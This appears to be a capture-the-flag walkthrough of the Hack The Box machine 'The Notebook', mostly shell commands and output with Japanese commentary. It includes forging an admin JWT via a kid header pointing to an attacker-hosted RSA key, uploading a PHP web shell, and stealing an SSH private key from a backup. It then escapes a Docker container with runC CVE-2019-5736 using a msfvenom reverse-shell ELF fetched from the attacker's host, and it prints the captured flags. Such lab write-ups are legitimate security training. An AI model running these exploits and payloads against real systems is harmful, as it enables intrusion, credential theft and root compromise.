nmap -Pn -p- --min-rate 1000 --max-retries 2 10.129.54.44
nmap -sV -sC -p 22,80 10.129.54.44

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

curl -s http://10.129.54.44/register | grep -oE '<input[^>]*name="[^"]*"'

<input name="username"
<input name="password"
<input name="email"

curl -s -c cookies.txt -X POST http://10.129.54.44/register \
  --data-urlencode "username=pwnuser" \
  --data-urlencode "password=Pwnpass1#" \
  --data-urlencode "email=pwnuser@pwn.htb"

import jwt
header  = jwt.get_unverified_header(token)
payload = jwt.decode(token, options={"verify_signature": False})
print(header); print(payload)

HEADER:  {"alg": "RS256", "kid": "...", "typ": "JWT"}
PAYLOAD: {"username": "pwnuser", "email": "pwnuser@pwn.htb", "admin_cap": 0}

from Crypto.PublicKey import RSA
from http.server import BaseHTTPRequestHandler, HTTPServer
import threading

key = RSA.generate(2048)
privkey_pem = key.exportKey("PEM")

class KeyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(privkey_pem)

httpd = HTTPServer(("0.0.0.0", 8000), KeyHandler)
threading.Thread(target=httpd.serve_forever, daemon=True).start()
# → http://<Kali IP>:8000/private.key で秘密鍵PEMをそのまま配信

import jwt
token = jwt.encode(
    {"username": "admin", "email": "pwnuser@pwn.htb", "admin_cap": 1},
    privkey_pem,
    algorithm="RS256",
    headers={"kid": "http://<Kali IP>:8000/private.key"},
)

username="pwnuser"(登録した自分のアカウント名)のままトークンを作ると:
  - /admin/viewnotes へのアクセスは admin_cap=1 だけで通る(問題なし)
  - しかし /admin (ダッシュボード) や /admin/upload へのアクセスは
    サーバ側が応答を返さず、nginxのgatewayタイムアウト(約30秒)経過後に
    "502 Bad Gateway" となり、Admin Panel本体・アップロード機能に
    一切到達できない。何度リトライしても100%再現し、待機時間を延ばしても
    改善しない。

curl -s -b "auth=<偽造トークン>" http://10.129.54.44/admin
# → 0.6秒台で200 OK、Admin Panelのダッシュボードが返る

files = {"file": ("shell.php", shell_content, "application/x-php")}
r = session.post("http://10.129.54.44/admin/upload", files=files, timeout=20)
# → ReadTimeoutError、最大60秒待っても nginx の "502 Bad Gateway" にしかならない

echo '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>' > shell.php

curl -s -m 20 -b "auth=<偽造トークン>" \
  -F "file=@shell.php;type=application/x-php" \
  -L http://10.129.54.44/admin/upload

<div class="col-md-8">4cab9c4efd380b87b5b0bbbf51432094.php</div>
<div class="col-md-4"><a href="/4cab9c4efd380b87b5b0bbbf51432094.php">
  <button>View</button></a></div>

curl -s "http://10.129.54.44/4cab9c4efd380b87b5b0bbbf51432094.php?cmd=id"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl -s "http://10.129.54.44/<webshell>.php?cmd=ls+-la+/var/backups/"

-rw-r--r-- 1 root root 4373 Feb 17  2021 home.tar.gz

curl -s "http://10.129.54.44/<webshell>.php" \
  --data-urlencode "cmd=base64 -w0 /var/backups/home.tar.gz" -G \
  | grep -oP '(?<=<pre>).*(?=</pre>)' | base64 -d > home.tar.gz

tar -xzf home.tar.gz
find . -name id_rsa

./home/noah/.ssh/id_rsa

chmod 600 home/noah/.ssh/id_rsa
ssh -i home/noah/.ssh/id_rsa noah@10.129.54.44 "id; cat ~/user.txt"

uid=1000(noah) gid=1000(noah) groups=1000(noah)
b55a4ac3b9b0c4b7855d0d7911d95992

noah@thenotebook:~$ sudo -l

User noah may run the following commands on thenotebook:
    (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*

`docker exec` は、対象コンテナの名前空間へ入るために runC バイナリを
コンテナ内で(ホストから見て)一時的に実行する。このとき runC プロセス自身は
`/proc/self/exe` という自己参照シンボリックリンク経由で自分自身の実行ファイルを
開く。攻撃者がコンテナ内の /bin/bash を
  #!/proc/self/exe
という shebang スクリプトに差し替えておくと、次に誰か(root含む)が
`docker exec -it  /bin/bash` を実行した瞬間、
"/bin/bash" ではなく実際には /proc/self/exe (= 実行中のrunCプロセス自身の
実行ファイル、つまりホスト上の本物のrunCバイナリ) が開かれる。この
オープンされたファイルディスクリプタに対し、コンテナ内から書き込み
(O_WRONLY)を行うことで、コンテナの外にあるはずのホストのrunCバイナリ
そのものを上書きできてしまう(コンテナの隔離が破れる)。

タイミングが重要な**レースコンディション**であり、以下の手順で狙う:
  1. コンテナ内で /bin/bash を上記のshebangスクリプトに差し替える
  2. "次に /proc/self/exe が実行される瞬間"を監視するreplace.shを起動しておく
  3. 別セッションから改めて `docker exec -it  /bin/bash_original`
     (退避しておいた本物のbash)を実行してrunCを再度動かす
  4. replace.shがこの新しいrunCプロセスのPIDを検知し、
     /proc//exe (=ホストの本物のrunCバイナリ) へ攻撃者の
     ペイロード(msfvenom製リバースシェルELF)を書き込む
  5. 以降、誰かが再度 `docker exec` (=runC起動)すると、
     ホスト上で攻撃者のペイロードがroot権限で実行される

git clone https://github.com/twistlock/RunC-CVE-2019-5736
cd RunC-CVE-2019-5736/exec_POC

msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=10.10.15.201 LPORT=9999 -f elf -o new_runc

python3 -m http.server 8001 --directory .

ssh noah@target "sudo docker exec webapp-dev01 sh -c '...(PoC配置)...'"
# → "sudo: no tty present and no askpass program specified"
#   (NOPASSWDが適用されずパスワード要求で即失敗)

ssh -tt -i noah_id_rsa noah@10.129.54.44 \
  "sudo docker exec -it webapp-dev01 sh -c '
    cd / &&
    for f in bash_evil new_runc overwrite_runc replace.sh; do
      wget -q http://10.10.15.201:8001/\$f
    done &&
    chmod +x replace.sh overwrite_runc bash_evil new_runc &&
    mv /bin/bash /bin/bash_original &&
    mv /bash_evil /bin/bash &&
    /bin/bash_original /replace.sh'" &

sleep 9   # replace.sh が「次のrunC起動」を監視し始めるまで待つ

# 別ターミナルでリスナー起動
nc -lnvp 9999

# レースを発火させる2回目のdocker exec (退避された本物のbashを起動)
ssh -tt -i noah_id_rsa noah@10.129.54.44 \
  "sudo docker exec -it webapp-dev01 /bin/bash_original"

listening on [any] 9999 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.54.44] 59124
$ id
uid=0(root) gid=0(root) groups=0(root)

# root)shell内
$ cat /root/root.txt

ba708827a634eae7590831ecbdc88cde